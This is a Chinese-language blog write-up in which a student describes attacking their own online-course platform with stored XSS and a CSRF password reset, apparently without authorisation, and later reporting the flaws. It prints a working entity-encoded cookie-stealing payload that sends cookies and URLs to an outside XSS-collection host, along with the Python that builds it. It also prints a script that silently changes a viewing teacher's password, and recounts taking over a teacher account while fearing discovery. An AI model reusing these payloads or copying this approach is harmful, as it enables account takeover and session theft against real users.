本文首發於“合天智匯”公眾號,作者: 影子
各位大師傅,第一次在合天發文章,請多多關照

今年年初的疫情確實有點突然,打亂了上半年的所有計划(本來是校內大佬帶我拿獎的時刻,沒了

,學長畢業了,就剩下我這個小垃圾帶着下一屆去搞ctf了,難啊,難啊)
-
0x01

這個站是我疫情時候在線上網課的平台,本着對信息安全做貢獻的目的下去做的這個滲透工作(咳咳,這個平台有個簽到,每次簽到我都在與大腦作斗爭,最后爭不過大腦,選擇了睡覺,最后曠課太多,不搞要掛科。)
-
0x02
這個站簡單的先用手機看了下,這種網課站我感覺xss比較好尋找一些,所以我找到的都是一些存儲型xss,
先看一下第一個基本沒鳥用的xss
用戶個人資料處

更改姓名
Payload為<script>alert()</script>
(這個地方字數有限制,最長為24個字符)
保存,刷新頁面

成功顯示彈窗 經測試
1.學號
2.身份
3.學校
4.姓名處均存在存儲型xss並能夠彈窗
確實這個地方感覺確實沒什么用,字數有限制,頂多就是在老師打開頁面的時候彈出一個彈框,沒鳥用啊,回頭想想自己曠課的次數,md,拼了
-
0x03

發布新話題
測試發現

將上面全部代碼進行復制
在下面編輯框中進行黏貼,直接解析為html
內容處可以執行html代碼
測試發布時

發布后訪問此話題

成功xss
進行下一步測試
進行獲取cookies
在<script src=””>
這個payload無法執行
不知道是服務器問題還是什么
換用其他payload

in_str = "(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};" output = "" for c in in_str: output += "&#" + str(ord(c)) print("<svg><script>eval("" + output + "")</script>")
payload為
在進行測試

<svg><script>eval("(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};")</script>


看看xss平台


成功獲取
也可以使用其他的利用方法


跳轉釣魚網站
在頁面內這是html表單進行釣魚
或者js掛馬等等
嚴重程度
中危
But。。
部分Cookeis設置了http-only,拿不到老師的全部cookie。
-
0x04
繼續測試
更改密碼處沒有驗證原先密碼

根據前面找到的xss構建payload

``` <script type="text/javascript" src="http://admin.3cjz.cn/include/jQ.js"></script> <script> function loginSubmit() { $.ajax({ url: "https://www.xxxxxxxx.com/UserApi/updatePassword", type: "post", data: {"newpassword": "123456789"}, dataType: "json", success: function (data) { if (data.status == "1") { } else { } }, }); } loginSubmit() </script> ```
那么要去受害者要有興趣去訪問這個payload

作業處,受害者(例如老師,獲取更大權限)老師要去更改作業

找到在作業留言處存在存儲型xss
在此處插入payload
查看效果

現在密碼為123456789
登錄正常
將payload的密碼改為123456789.
我用的手機端(pc端似乎要抓包,懶)


提交成功
教師端進入批閱
老師的管理界面

教師端進入批閱




抓包看到
訪問時,直接更新了密碼

退出
密碼為12345679時錯誤

密碼為123456789.時成功

更改密碼處存在csrf
聯想到剛剛的存儲型xss,

一個csrf+xss的組合拳漏洞

-
0x05
最后到底有沒有拿到老師權限呢



最高星星數6個

怕被發現。
真帶勁
哈哈

搞完手工,打包提交,以上漏洞至今為止已修復。
聲明:作者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關。
實驗推薦
DoraBox之CSRF
https://www.hetianlab.com/expc.do?ec=ECID6f07-3348-4d8f-90a1-2b399f28378b
(通過DoraBox靶場系列闖關練習,理解跨站請求偽造漏洞的原理與利用過程。)